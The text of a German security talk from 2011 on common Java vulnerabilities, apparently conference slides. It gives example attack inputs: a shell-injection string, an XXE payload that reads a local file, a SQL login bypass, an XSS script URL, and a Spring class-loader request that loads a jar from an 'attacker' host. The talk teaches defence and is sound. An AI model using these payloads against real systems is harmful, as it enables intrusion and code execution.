Moritz Jodeit
IT Security Consultant

Java Sicherheit
Das wahre Leben

OOP 2011

26.01.2011

Me, myself and I

- IT Security Consultant bei n.runs AG
- Schwerpunkte
  - Penetrationstests
  - Source Code Audits
  - Binär-Analysen
  - Reverse Engineering
  - Embedded Systeme
- Likes to break things ;)

Java Sicherheit

- Platform security
  - Strong data typing
  - Automatic memory management
  - Bytecode verification
  - Sandbox
  - Secure class loading
- Crypto API
  - Digital signatures
  - Message authentication codes
  - Symmetric/asymmetric encryption
  - Block & stream ciphers
- Authentication & access control
  - Security Manager
  - Policies
- Secure communication
  - SSL/TLS (JSSE)
  - Kerberos (GSS-API)
- Public Key Infrastructure (PKI)

Java Sicherheit

- Die meisten Java-Anwendungen sind relativ sicher!

- … oder etwa doch nicht?
- Wenig Informationen zur “sicheren Programmierung”
- Java security != Access control

Realitätsabgleich

- Sichere Programmierung wird oft vernachlässigt
  - “Schutz durch die Plattform” wird angenommen
- Beispiele aus der Praxis
  - Injection Angriffe (SQL, LDAP, XPath, SOAP, …)
  - Cross-Site Scripting (XSS)
  - File disclosure / arbitrary file upload
  - XML eXternal Entity Angriffe (XXE)
  - Ungeschützte Remote-Schnittstellen
  - Missbrauch von Java Serialization
  - Class Overloading Angriffe

Ungeschützte Remote-Schnittstellen

Ungeschützte Remote-Schnittstellen

- Java RMI
  - “Remote Method Invocation”
  - Erstellung verteilter Anwendungen
  - Kommunikation zwischen verschiedenen JVM’s
    - Auch über das Netzwerk
- Objekte werden serialisiert übertragen
- Protokolle
  - RMI/JRMP
    - Java Remote Method Protocol
    - Kommunikation nur zwischen Java-Objekten
  - RMI/IIOP
    - Kommunikation zwischen CORBA-Objekten
    - Interoperabilität mit anderen Programmiersprachen

Ungeschützte Remote-Schnittstellen

- Wo liegt das Problem bei RMI?
- Per Default ungeschützt
  - Keine Authentifizierung
  - Keine Authorisierung
  - Keine Integrität
  - Keine Vertraulichkeit
- Andere Java API's müssen dafür genutzt werden
- Viele RMI-Schnittstellen daher komplett ungeschützt
  - Angreifer kann beliebige Methoden aufrufen
- Einfache Übertragung von Objekten ("Funktionalität")
  - Auslagerung der Logik auf den Client
  - Beispiel: Offizielle Oracle RMI Dokumentation

Java Serialization

Java Serialization

- Serialisierung von Objekten zur
  - Persistenten Speicherung
  - Netzwerkübertragung
- Implementiert durch java.io.Serializable Interface
- Lesen von serialisierten Objekten auf Serverseite:

```
stream = new ObjectInputStream(...);
String  someStr =  (String)stream.readObject();
Integer someInt = (Integer)stream.readObject();
```

- Signatur empfangener Objekte muss übereinstimmen

Java Serialization

- Funktionsweise von readObject()
  1. Neue Instanz der Klasse wird erzeugt
     - Konstruktor wird dabei **nicht** aufgerufen!
  2. Übernahme der Werte aus empfangenem Objekt
  3. Rückgabe-Objekt vom Typ *java.lang.Object*

- Mögliche Input Validation kann umgangen werden!
  - Konstruktor wird nicht aufgerufen
- Übernahme **aller** Attribute empfangener Objekte
  - Auch *private*, *protected* und *final* Attribute!
- Absender bestimmt die Klasse des Objekts
  - Veränderung der Programmlogik möglich

Java Serialization

```
public class Ueberweisung implements Serializable {
	private long absender;
	private long empfaenger;
	private long betrag;
	private final double wechselKurs = 1.3405;

	public Ueberweisung(long empfngr, long betrag) {
		this.absender   = User.getCurrentUser();
		this.empfaenger = empfnger;
		if (betrag <= 0) {
			throw new InvalidBetragException();
		}
		this.betrag = betrag;
	}

	// ...
```

Java Serialization

```
public class Ueberweisung implements Serializable {
	private long absender;
	private long empfaenger;
	private long betrag;
	private final double wechselKurs = 1.3405;

	public Ueberweisung(long empfngr, long betrag) {
		this.absender   = User.getCurrentUser();
		this.empfaenger = empfnger;
		if (betrag <= 0) {
			throw new InvalidBetragException();
		}
		this.betrag = betrag;
	}

	// ...
```

Java Serialization

```
public class Ueberweisung implements Serializable {
	private long absender;
	private long empfaenger;
	private long betrag;
	private final double wechselKurs = 1.3405;

	public Ueberweisung(long empfngr, long betrag) {
		this.absender   = User.getCurrentUser();
		this.empfaenger = empfnger;
		if (betrag <= 0) {
			throw new InvalidBetragException();
		}
		this.betrag = betrag;
	}

	// ...
```

Java Serialization

```
public class Ueberweisung implements Serializable {
	private long absender;
	private long empfaenger;
	private long betrag;
	private final double wechselKurs = 1.3405;

	public Ueberweisung(long empfngr, long betrag) {
		this.absender   = User.getCurrentUser();
		this.empfaenger = empfnger;
		if (betrag <= 0) {
			throw new InvalidBetragException();
		}
		this.betrag = betrag;
	}

	// ...
```

Java Serialization

```
public class Ueberweisung implements Serializable {
	private long absender;
	private long empfaenger;
	private long betrag;
	private final double wechselKurs = 1.3405;

	public Ueberweisung(long empfngr, long betrag) {
		this.absender   = User.getCurrentUser();
		this.empfaenger = empfnger;
		if (betrag <= 0) {
			throw new InvalidBetragException();
		}
		this.betrag = betrag;
	}

	// ...
```

Java Serialization

```
public class Ueberweisung implements Serializable {
      private long absender;
      private long empfaenger;
      private long betrag;
      private final double wechselKurs = 1.3405;

      public Ueberweisung(long empfngr, long betrag) {
            this.absender   = User.getCurrentUser();
            this.empfaenger = empfnger;
            if (betrag <= 0) {
                  throw new InvalidBetragException();
            }
            this.betrag = betrag;
      }

      // ...
```

Command Injection

Command Injection

- Ausführung externer Programme
  - java.lang.Runtime.getRuntime().exec(…)
- Einbettung von Benutzerdaten
- Fehlende Eingabeüberprüfung

```
getRuntime().exec("ssh –u " + user + " 141.146.9.91");
```

- Erlaubt Injizierung eigener Parameter
- Keine Verwendung der Shell
  - Injizierung weiterer Befehle nicht direkt möglich

Command Injection

- Oft wird die Shell zur Ausführung genutzt
  - /bin/sh -c …
  - cmd.exe /c …

```
String[] args =
    {"/bin/sh", "-c", "/sbin/ping -c 3 " + host};
Process proc = rt.exec(args);
DataInputStream data = new
DataInputStream(proc.getInputStream());
while ((output = data.readLine()) != null) {
     vals = vals + "\n" + output;
}
```

- Injizierung beliebiger weiterer Befehle möglich
  - /bin/sh -c '/sbin/ping -c 3 *foo; touch /tmp/PWNED*'

XML eXternal Entity Angriffe (XXE)

XML eXternal Entity Angriffe (XXE)

- Externe Entitäten können in DTD definiert werden
  - <!ENTITY name SYSTEM “URI”>
- Zur Validierung eines XML-Dokuments
  - Ersetzung externer Entitäten durch referenzierten Text
- Angreifer stellt XML-Dokument bereit
  - Einbettung beliebiger externer Ressourcen möglich
  - z.B. lokale Dateien
- Beispiel…

XML eXternal Entity Angriffe (XXE)

```
<?xml version="1.0" encoding="utf-8" ?>
<request>
      <username>nruns</username>
      <password>welcome</password>
</request>
```

```
<?xml version="1.0" encoding="utf-8" ?>
<response>
      <error>Access denied for user nruns!</error>
</response>
```

XML eXternal Entity Angriffe (XXE)

```
<?xml version="1.0" encoding="utf-8" ?>
<request>
      <username>nruns</username>
      <password>welcome</password>
</request>
```

```
<?xml version="1.0" encoding="utf-8" ?>
<response>
      <error>Access denied for user nruns!</error>
</response>
```

XML eXternal Entity Angriffe (XXE)

```
<?xml version="1.0" encoding="utf-8" ?>
<request>
      <username>nruns</username>
      <password>welcome</password>
</request>
```

XML eXternal Entity Angriffe (XXE)

```
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE response [
  <!ENTITY xxe "lalalala">]>
<request>
      <username>&xxe;</username>
      <password>welcome</password>
</request>

<?xml version="1.0" encoding="utf-8" ?>
<response>
      <error>Access denied for user lalalala!
</error>
</response>
```

XML eXternal Entity Angriffe (XXE)

```
<?xml version="1.0" encoding="utf-8" ?>
<request>
      <username>nruns</username>
      <password>welcome</password>
</request>
```

XML eXternal Entity Angriffe (XXE)

```
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE response [
  <!ENTITY xxe SYSTEM "c:\boot.ini">]>
<request>
      <username>&xxe;</username>
      <password>welcome</password>
</request>
```

XML eXternal Entity Angriffe (XXE)

```
<?xml version="1.0" encoding="utf-8" ?>
<response>
      <error>Access denied for user
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows
Server 2003, Enterprise" /fastdetect
/NoExecute=OptOut!</error>
</response>
```

Injection Angriffe

Injection Angriffe

- Einbettung von Benutzerdaten in Queries jeglicher Art
  - SQL
  - LDAP
  - Xpath
  - SOAP
- Ungenügende oder fehlende Eingabeüberprüfung
  - Veränderung der Abfragelogik
    - z.B. Umgehung von Login-Mechanismen
  - Auslesen sensibler Informationen
  - Ausführung eigenen Codes
- Beispiel SQL Injection…

Injection Angriffe

```
conn = pool.getConnection();
String sql =
  "SELECT id FROM users WHERE name='" + user +
  "' AND pass='" + pass + "'";
stmt = conn.createStatement();
rs = stmt.executeQuery(sql);
if (rs.next()) {
    // Login successfull
    loggedIn = true;
} else {
    // Login failed
}
```

Injection Angriffe

```
conn = pool.getConnection();
String sql =
  "SELECT id FROM users WHERE name='" + user +
  "' AND pass='" + pass + "'";
stmt = conn.createStatement();
rs = stmt.executeQuery(sql);
if (rs.next()) {
    // Login successfull
    loggedIn = true;
} else {
    // Login failed
}
```

Injection Angriffe

```
http://example.org/login?user=nruns&pass=welcome
```

```
SELECT id FROM users WHERE
name='nruns' AND pass='welcome';
```

Injection Angriffe

http://example.org/login?user=**nruns**&pass=**welcome**

```
SELECT id FROM users WHERE
name='nruns' AND pass='welcome';
```

Injection Angriffe

```
http://example.org/login?
user=nruns'%20OR%201=1;--&pass=welcome
```

```
SELECT id FROM users WHERE
name='nruns' OR 1=1;--' AND
pass='welcome';
```

Injection Angriffe

```
http://example.org/login?
user=nruns'%20OR%201=1;--&pass=welcome
```

```
SELECT id FROM users WHERE
name='nruns' OR 1=1;--' AND
pass='welcome';
```

Injection Angriffe

```
http://example.org/login?
user=nruns'%20OR%201=1;--&pass=welcome
```

```
SELECT id FROM users WHERE
name='nruns' OR 1=1;--' AND
pass='welcome';
```

Cross-Site Scripting

Cross-Site Scripting (XSS)

- Benutzerdaten werden in HTML-Seite eingebettet
  - GET/POST Parameter, HTTP Header, …

Cross-Site Scripting (XSS)

- Ursache: Fehlende Enkodierung bei der Ausgabe
  - Einbettung von HTML Markup
  - JavaScript Code
- Angreifer bringt Benutzer dazu einen Link zu öffnen

```
http://bank.com/app?search=<script>alert('XSS')</script>
```

- JavaScript wird im Browser des Benutzers ausgeführt
  - Läuft im aktuellen Domain-Kontext (bank.com)
  - Erlaubt z.B. Zugriff auf Cookies
  - Übernahme der aktuellen Sitzung möglich

Cross-Site Scripting (XSS)

heise Security

News | Hintergrund | Erste Hilfe | Foren

Security > News > 7-Tage-News > 2010 > KW 15 > Server der Apache Software Foundation kompromitt

News-Meldung vom 13.04.2010 14:35 « Vorige | Nächste »

Server der Apache Software Foundation kompromittiert

vorlesen / MP3-Download

Ende vergangener Woche haben unbekannte Angreifer mehrere Systeme der Apache Software Foundation (ASF) kompromittiert, bei der möglicherweise zahlreiche Passwörter ausgespäht wurden. Laut einem dazu vorliegenden Bericht der Foundation gingen die Unbekannten dabei sehr gezielt und hartnäckig vor.

Zunächst griffen sie einen von der ASF benutzten, kommerziellen Issue-Tracking-Server (Atlassian JIRA) an. Dabei verschickten sie Mails an mehrere Administratoren mit einem speziellen Link, der offenbar eine unbekannte Cross-Site-Scripting-Schwachstelle in JIRA ausnutzte, um Authentifizierungscookies auszulesen. Gleichzeitig starteten die Angreifer eine Brute-Force-Attacke auf den Server, um mehrere tausend Passwörter an JIRA-Konten durchzuprobieren.

Class Overloading

Class Overloading

- Überladung kritischer Klassen zur Laufzeit
  - z.B. Java ClassLoader

- CVE-2010-1622
  - Spring Framework 2.5.x Arbitrary Code Execution
- Ursache des Bugs
  - Falsche Verwendung einer JavaBeans API Funktion
- Folge
  - Angreifer kann beliebigen Code ausführen lassen!

Class Overloading

- Zur Realisierung des MVC-Konzepts in Spring
  - Verwendung von “form backing objects”
- Form backing objects
  - JavaBeans Objekte
  - Repräsentieren HTML <form> Input Parameter
- JavaBean Introspection
  - Erlaubt Einblick in das JavaBean Objekt
  - Verwendet um Properties zu finden und zu setzen

Class Overloading

```
public class Person {
      private String firstName;
      private String lastName;
      // ...
}
```

```
POST /adduser HTTP/1.0
...

firstName=foo&lastName=bar
```

- Sucht das Property “firstName” im form backing object
  - Setzt dessen Wert auf “foo”
- Sucht das Property “lastName” im form backing object
  - Setzt dessen Wert auf “bar”

Class Overloading

- JavaBean Introspection API

```
BeanInfo getBeanInfo(Class beanClass);
BeanInfo getBeanInfo(Class beanClass, Class stopClass);
```

- Zurückgegebenes BeanInfo Objekt
  - Enumerierung aller Properties
  - Inkl. Properties aller Basisklassen (bis stopClass)

- getBeanInfo(beanClass) **ohne** stopClass
  - Gibt **alle** Properties bis zu object.Class zurück!
  - Superklasse aller Java Klassen

Class Overloading

```
POST /adduser HTTP/1.0
...

firstName=foo&lastName=bar&class.classLoader.
URLs[0]=jar:http://attacker/exploit.jar!/
```

- Überschreibt den ClassLoader
  - frmObj.getClass().getClassLoader().getURLs()[0]
- Spätere Verwendung des ClassLoaders
  - Remote Code Execution!

- Hinweis: getBeanInfo() mit stopClass verwenden!

Kontakt

... Fragen?

... Offene Diskussion